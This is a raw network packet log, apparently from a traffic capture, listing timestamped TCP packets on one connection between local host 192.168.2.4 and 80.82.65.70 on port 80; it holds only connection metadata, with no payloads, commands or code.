Dec 13, 2024 01:09:49.584677935 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.584733963 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.584786892 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.585589886 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.585705996 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.585768938 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.586489916 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.586536884 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.586597919 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.586673021 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.586764097 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.587510109 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.587650061 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.587655067 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.587694883 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.588459969 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.588579893 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.588646889 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.589413881 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.589553118 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.589611053 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.590410948 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.590452909 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.590507984 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.591356993 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.591418982 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.591475010 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.591970921 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.592308998 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.592351913 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.592405081 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.593230009 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.593281984 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.659514904 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.659610987 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.659620047 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.659637928 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.659673929 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.659696102 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.659729004 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.660512924 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.660595894 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.660625935 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.660720110 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.661444902 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.661499977 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.661576033 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.661628962 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.662378073 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.662475109 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.662497044 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.662552118 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.663363934 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.663456917 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.663460970 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.663501978 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.664304972 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.664325953 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.664375067 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.665246010 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.665308952 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.665348053 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.665415049 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.666208029 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.666259050 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.666304111 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.666362047 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.667161942 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.667212009 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.667303085 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.667351007 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.668128014 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.668179035 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.668248892 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.668292999 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.669081926 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.669145107 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.669190884 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.669239998 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.670083046 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.670111895 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.670134068 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.670160055 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.671020985 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.671076059 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.671113014 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.671156883 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.671974897 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.672085047 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.672112942 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.672131062 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.672930956 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.672981024 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.673026085 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.673100948 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.673870087 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.673923016 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.673965931 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.674009085 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.674818039 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.674869061 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.674915075 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.675013065 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.675800085 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.675851107 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.675921917 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.675971031 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.676728964 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.676794052 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.676862001 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.676922083 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.677706003 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.677753925 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.677800894 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.677851915 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.678666115 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.678716898 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.678751945 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.678801060 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.679649115 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.679725885 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.679768085 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.679815054 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.680634022 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.680701971 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.680710077 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.680763960 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.681549072 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.681597948 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.681674957 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.681739092 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.682473898 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.682533979 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.682670116 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.682718039 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.683538914 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.683566093 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.683598042 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.683613062 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.736994028 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.737047911 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.737149000 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.737279892 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.737335920 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.737416029 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.737468004 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.738162994 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.738217115 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.738373041 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.738418102 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.738986015 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.739038944 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.739042997 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.739105940 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.739836931 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.739896059 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.739943981 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.740040064 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.740768909 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.740824938 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.740833998 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.740891933 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.741575003 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.741628885 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.741645098 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.741693020 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.742388010 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.742451906 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.742496967 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.742556095 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.743240118 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.743310928 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.743339062 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.743379116 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.744090080 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.744205952 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.744254112 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.744971991 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.745068073 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.745094061 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.745193958 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.745788097 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.745840073 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.745882034 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.745925903 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.746644020 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.746716022 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.746752024 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.746799946 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.747466087 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.747533083 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.773423910 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.773499012 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.773813009 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.773868084 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.773869038 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.773880005 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.773924112 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.774645090 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.774698019 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.774738073 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.774787903 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.775469065 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.775547028 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.775587082 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.775635958 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.776325941 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.776380062 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.776428938 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.776474953 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.777220964 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.777271986 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.777282953 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.777358055 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.778032064 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.778099060 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.778136015 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.778212070 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.778872013 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.778923035 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.778985977 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.779042959 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.779738903 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.779858112 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.779905081 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.780816078 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.780834913 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.780879974 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.781441927 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.781483889 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.781558037 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.781645060 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.782308102 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.782363892 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.782375097 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.782427073 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.783162117 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.783211946 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.783341885 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.783407927 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.783992052 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.784044981 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.851632118 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.851715088 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.851852894 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.851949930 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.851964951 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.852019072 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.852040052 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.852083921 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.852843046 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.852905035 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.852952003 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.853020906 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.853681087 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.853743076 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.853785992 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.853840113 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.854557991 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.854609013 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.854748964 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.854801893 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.855396032 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.855447054 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.855462074 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.855539083 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.856235981 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.856281996 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.856343985 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.856399059 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.857112885 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.857168913 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.857207060 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.857278109 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.857928991 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.858005047 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.858025074 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.858123064 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.858760118 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.858818054 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.858860970 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.858932972 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.859636068 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.859750032 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.859762907 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.859826088 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.860483885 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.860534906 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.860606909 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.860656977 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.861325979 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.861458063 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.861505985 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.862246037 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.862308979 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.862364054 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.862381935 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.863081932 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.863126993 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.863168001 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.863214016 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.863898993 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.863948107 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.863992929 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.864046097 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.864753008 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.864835978 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.864875078 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.864928007 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.865583897 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.865689993 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.865724087 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.865744114 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.866445065 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.866492987 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.866539001 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.866595984 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.867290974 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.867342949 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.867388010 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.867470980 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.868161917 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.868208885 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.868320942 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.868457079 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.869002104 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.869103909 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.869127989 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.869153976 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.869858980 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.869901896 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.869978905 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.870035887 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.870722055 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.870826006 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.870863914 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.870940924 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.871562004 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.871660948 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.871675014 CET	80	49731	80.82.65.70	192.168.2.4
